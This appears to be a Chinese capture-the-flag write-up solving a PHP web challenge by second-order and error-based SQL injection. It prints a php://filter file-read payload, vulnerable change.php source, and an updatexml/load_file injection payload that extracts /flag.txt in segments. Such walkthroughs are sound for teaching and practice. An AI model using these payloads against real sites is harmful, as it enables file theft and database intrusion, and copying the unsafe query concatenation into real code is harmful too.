知识点:二次注入,报错注入
解题过程
在网页源码中,发现题目
用php伪协议读取文件,?file=php://filter/convert.base64-encode/resource=index.php
,可以得到index.php,search.php,delete.php,config.php,confirm.php
其中
index.php对应主页面
confirm.php是录入收货人信息
search.php是查找数据库中的信息
delete.php是删除数据库中的信息
config.php如下
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
这几个文件源码都使用了关键词过滤,基本没有注入方法。然后change.php中,只对phone
和user_name
进行了过滤,而对address
只是使用addslashes()
函数,可以使用报错注入。
<?php
//change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
二次注入,报错注入
注意sql语句
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
使用updataxml
报错注入,updataxml
函数对字符串长度有限制,所以分段进行读取
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
首先提交订单时将可用的sql语句提交
然后修改订单
因为报错,得到前一部分flag
同理,可得后部分flag
拼接可得完整的flag